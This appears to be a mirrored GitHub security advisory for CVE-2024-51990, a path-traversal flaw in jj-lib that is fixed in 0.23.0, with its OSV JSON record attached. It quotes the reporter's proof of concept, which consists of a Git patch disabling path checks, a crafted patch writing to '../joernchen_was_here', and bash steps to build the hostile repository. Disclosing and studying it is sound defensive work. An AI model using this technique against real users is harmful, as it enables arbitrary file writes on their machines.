GHSA-88H5-6W7M-5W56
Vulnerability from github – Published: 2024-11-07 16:18 – Updated: 2024-11-07 16:18Impact
Specially crafted Git repositories can cause jj to write files outside the clone.
Patches
Fixed in 0.23.0.
Workarounds
Not much other than to not clone repositories from untrusted sources.
References
Here's the original report from @joernchen:
When cloning a crafted Git repository it is possible to let
jjwrite into arbitrary directories. This can be achieved by having file objects which contain path traversals.Reproduction steps:
Apply the following patch to Git version v.2.47.0:
```diff diff --git a/path.c b/path.c index 93491bab14..2f47e69fd1 100644 --- a/path.c +++ b/path.c @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)
static const char cleanup_path(const char path) { - / Clean it up / + / Clean it up if (skip_prefix(path, "./", &path)) { while (path == '/') path++; - } + }*/ return path; }
@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char dst, const char src, int *prefix_len)
int normalize_path_copy(char dst, const char src) { - return normalize_path_copy_len(dst, src, NULL); +// return normalize_path_copy_len(dst, src, NULL); + memcpy(dst, src, strlen(dst)); + return 0; }
int strbuf_normalize_path(struct strbuf src) diff --git a/read-cache.c b/read-cache.c index 3c078afadb..2eb44cb26f 100644 --- a/read-cache.c +++ b/read-cache.c @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char path, unsigned mode) { char c = 0; + return PATH_OK;
if (has_dos_drive_prefix(path)) return PATH_INVALID;```
With this patched
gitbinary we can now apply a crafted patch containing a path traversal to a repository.The patch would look like:
```patch From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001 From: joernchen <joernchen@phenoelit.de> Date: Sun, 13 Oct 2024 18:09:50 +0200 Subject: [PATCH] z123
z | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 z
diff --git a/../joernchen_was_here b/../joernchen_was_here new file mode 100644 index 0000000..e69de29 -- 2.46.1 ```
Note the traversal
../joernchen_was_herein the patch. This now can be committed to a repository using the modifiedgitbinary:
bash mkdir demo cd demo git init ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch rm ../joernchen_was_here # remove the file the modified git wroteNow, when cloning that repository with
jj git clonethe path traversal will write above the worktree directory, allowing arbitrary file writes.I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do
jj git clone demo.gitafter unpacking the tarball.The demo repository after being cloned with
jjwill create an empty filejoernchen_was_hereright next to thedemodirectory to demonstrate the traversal.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "jj-lib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51990"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-07T16:18:44Z",
"nvd_published_at": "2024-11-07T01:15:03Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere\u0027s the original report from @joernchen:\n\n\u003e When cloning a crafted Git repository it is possible to let `jj` write\n\u003e into arbitrary directories. This can be achieved by having file objects\n\u003e which contain path traversals.\n\u003e \n\u003e Reproduction steps:\n\u003e \n\u003e Apply the following patch to Git version v.2.47.0:\n\u003e \n\u003e ```diff\n\u003e diff --git a/path.c b/path.c\n\u003e index 93491bab14..2f47e69fd1 100644\n\u003e --- a/path.c\n\u003e +++ b/path.c\n\u003e @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n\u003e \n\u003e static const char *cleanup_path(const char *path)\n\u003e {\n\u003e - /* Clean it up */\n\u003e + /* Clean it up\n\u003e if (skip_prefix(path, \"./\", \u0026path)) {\n\u003e while (*path == \u0027/\u0027)\n\u003e path++;\n\u003e - }\n\u003e + }*/\n\u003e return path;\n\u003e }\n\u003e \n\u003e @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n\u003e \n\u003e int normalize_path_copy(char *dst, const char *src)\n\u003e {\n\u003e - return normalize_path_copy_len(dst, src, NULL);\n\u003e +// return normalize_path_copy_len(dst, src, NULL);\n\u003e + memcpy(dst, src, strlen(dst));\n\u003e + return 0;\n\u003e }\n\u003e \n\u003e int strbuf_normalize_path(struct strbuf *src)\n\u003e diff --git a/read-cache.c b/read-cache.c\n\u003e index 3c078afadb..2eb44cb26f 100644\n\u003e --- a/read-cache.c\n\u003e +++ b/read-cache.c\n\u003e @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n\u003e unsigned mode)\n\u003e {\n\u003e char c = 0;\n\u003e + return PATH_OK;\n\u003e \n\u003e if (has_dos_drive_prefix(path))\n\u003e return PATH_INVALID;\n\u003e ```\n\u003e \n\u003e With this patched `git` binary we can now apply a crafted\n\u003e patch containing a path traversal to a repository.\n\u003e \n\u003e The patch would look like:\n\u003e \n\u003e ```patch\n\u003e From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n\u003e From: joernchen \u003c[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)\u003e\n\u003e Date: Sun, 13 Oct 2024 18:09:50 +0200\n\u003e Subject: [PATCH] z123\n\u003e \n\u003e ---\n\u003e z | 0\n\u003e 1 file changed, 0 insertions(+), 0 deletions(-)\n\u003e create mode 100644 z\n\u003e \n\u003e diff --git a/../joernchen_was_here b/../joernchen_was_here\n\u003e new file mode 100644\n\u003e index 0000000..e69de29\n\u003e --\n\u003e 2.46.1\n\u003e ```\n\u003e \n\u003e Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n\u003e using the modified `git` binary:\n\u003e \n\u003e ```bash\n\u003e mkdir demo\n\u003e cd demo\n\u003e git init\n\u003e ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n\u003e rm ../joernchen_was_here # remove the file the modified git wrote\n\u003e ```\n\u003e \n\u003e Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n\u003e directory, allowing arbitrary file writes.\n\u003e \n\u003e I\u0027ve attached a tar.gz with the demo repo so you don\u0027t have to mess with the patched Git at all. For\n\u003e reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n\u003e \n\u003e The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n\u003e to the `demo` directory to demonstrate the traversal.",
"id": "GHSA-88h5-6w7m-5w56",
"modified": "2024-11-07T16:18:44Z",
"published": "2024-11-07T16:18:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51990"
},
{
"type": "PACKAGE",
"url": "https://github.com/martinvonz/jj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jj vulnerable to path traversal via crafted Git repositories"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.